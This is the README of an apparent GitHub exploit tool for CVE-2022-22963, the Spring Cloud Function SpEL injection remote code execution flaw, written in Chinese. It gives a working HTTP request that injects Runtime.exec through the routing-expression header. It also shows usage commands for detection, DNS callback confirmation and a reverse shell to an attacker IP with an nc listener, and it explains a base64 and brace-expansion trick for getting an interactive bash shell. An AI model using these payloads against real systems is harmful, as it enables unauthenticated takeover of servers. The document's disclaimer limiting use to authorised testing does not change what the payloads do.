xmqaq/CVE-2022-22963
GitHub: xmqaq/CVE-2022-22963
针对 Spring Cloud Function SpEL 注入远程代码执行漏洞(CVE-2022-22963)的检测与利用工具,支持 DNSLOG 验证和反弹 Shell。
Stars: 1 | Forks: 0
# CVE-2022-22963
[](https://www.python.org/)
[](LICENSE)
Spring Cloud Function SpEL 表达式注入远程代码执行漏洞检测与利用工具。
## 漏洞概述
**CVE-2022-22963** 是 Spring Cloud Function 路由功能中的一个高危 RCE 漏洞(CVSS 9.8)。当应用启用 `/functionRouter` 端点时,`spring.cloud.function.routing-expression` 请求头的值会被直接作为 SpEL(Spring Expression Language)表达式执行,攻击者无需认证即可在目标服务器上执行任意系统命令。
**受影响版本:**
| 分支 | 受影响版本 | 修复版本 |
|------|-----------|---------|
| 3.1.x | < 3.1.7 | 3.1.7 |
| 3.2.x | < 3.2.3 | 3.2.3 |
**漏洞原理:**
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded
test
服务器执行 SpEL 后,`exec()` 返回 `Process` 对象,Spring 尝试将其序列化时抛出异常,响应 HTTP 500。命令在后台异步执行,**结果不会回显在 HTTP 响应中**,需通过 DNSLOG 或反弹 Shell 等侧信道确认。
## 功能
- **漏洞检测**:通过 SpEL 触发特征响应,判断目标是否存在漏洞
- **DNSLOG 验证**:发送 `ping` 请求到 DNSLOG 域名,通过 DNS 记录确认命令执行
- **反弹 Shell**:利用 base64 编码绕过空格限制,向指定地址弹回交互式 Shell
## 安装
pip install requests
Python 3.6+ 无其他依赖。
## 使用方法
python3 CVE-2022-22963.py -u <目标URL> [选项]
### 参数说明
| 参数 | 说明 | 默认值 |
|------|------|--------|
| `-u, --url` | 目标 URL(必填) | — |
| `-c, --check` | 检测漏洞是否存在 | — |
| `-m, --mode` | 利用模式:`dnslog` 或 `shell` | — |
| `-d, --dns` | DNSLOG 域名(`-m dnslog` 时使用) | — |
| `-i, --ip` | 反弹 Shell 接收端 IP(`-m shell` 时使用) | — |
| `-p, --port` | 反弹 Shell 接收端口 | `9999` |
| `-t, --timeout` | 请求超时时间(秒) | `5` |
### 漏洞检测
python3 CVE-2022-22963.py -u http://target.example.com -c
2024-01-01 12:00:00 - INFO - [+] http://target.example.com 存在漏洞!
### DNSLOG 验证
用于在无回显的情况下确认命令实际执行:
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
2024-01-01 12:00:01 - INFO - [+] payload 已发送,请检查 abc123.dnslog.cn 是否收到 DNS 请求(确认实际执行)
随后在 DNSLOG 平台查看是否收到来自目标 IP 的 DNS 查询记录。
### 反弹 Shell
在攻击机上开启监听:
nc -lvnp 9999
发送 payload:
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
2024-01-01 12:00:02 - INFO - [+] payload 已发送,请在 192.168.1.100:9999 等待连接(仅支持 Linux/bash 目标)
## 技术细节
### 检测原理
检测请求向 `/functionRouter` 发送真实 SpEL 表达式:
T(java.lang.Runtime).getRuntime().exec('id')
- **存在漏洞**:SpEL 被执行,`Process` 对象无法序列化 → `HTTP 500` + `"path":"/functionRouter"`
- **不存在漏洞**:头部被忽略,函数路由失败 → 响应码或 body 不符合上述特征
### 反弹 Shell 编码流程
`Runtime.exec(String)` 不经过 shell 解释,直接按空格 tokenize 命令字符串,无法处理管道和重定向。工具通过以下方式绕过:
1. 将反弹 Shell 命令 base64 编码,消除特殊字符
2. 使用 bash brace expansion `{cmd,arg}` 代替空格
3. 最终由目标 bash 的 `-c` 参数处理管道和重定向
bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
↕ Java exec 按空格 tokenize
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
↕ bash -c 对参数做 brace expansion
echo BASE64 | base64 -d | bash -i
## 更新日志
| 日期 | 版本 | 说明 |
|------|------|------|
| 2023-12-28 | v1.0 | 初始版本发布 |
| 2025-10-09 | v1.1 | 代码重构,优化参数处理和错误处理 |
| 2026-06-29 | v1.2 | 修复检测误报、context path 路径拼接、exploit 返回值语义问题 |
## 免责声明
本工具仅供**安全研究、授权渗透测试和教育目的**使用。
使用本工具即表示您同意:
1. 仅在获得明确书面授权的目标系统上使用
2. 遵守所在地区所有适用的法律法规
3. 对使用本工具产生的一切后果承担完全责任
作者不对任何未授权使用行为及其后果承担任何责任。
标签:CISA项目, Python, RCE, Spring Cloud, 无后门, 逆向工具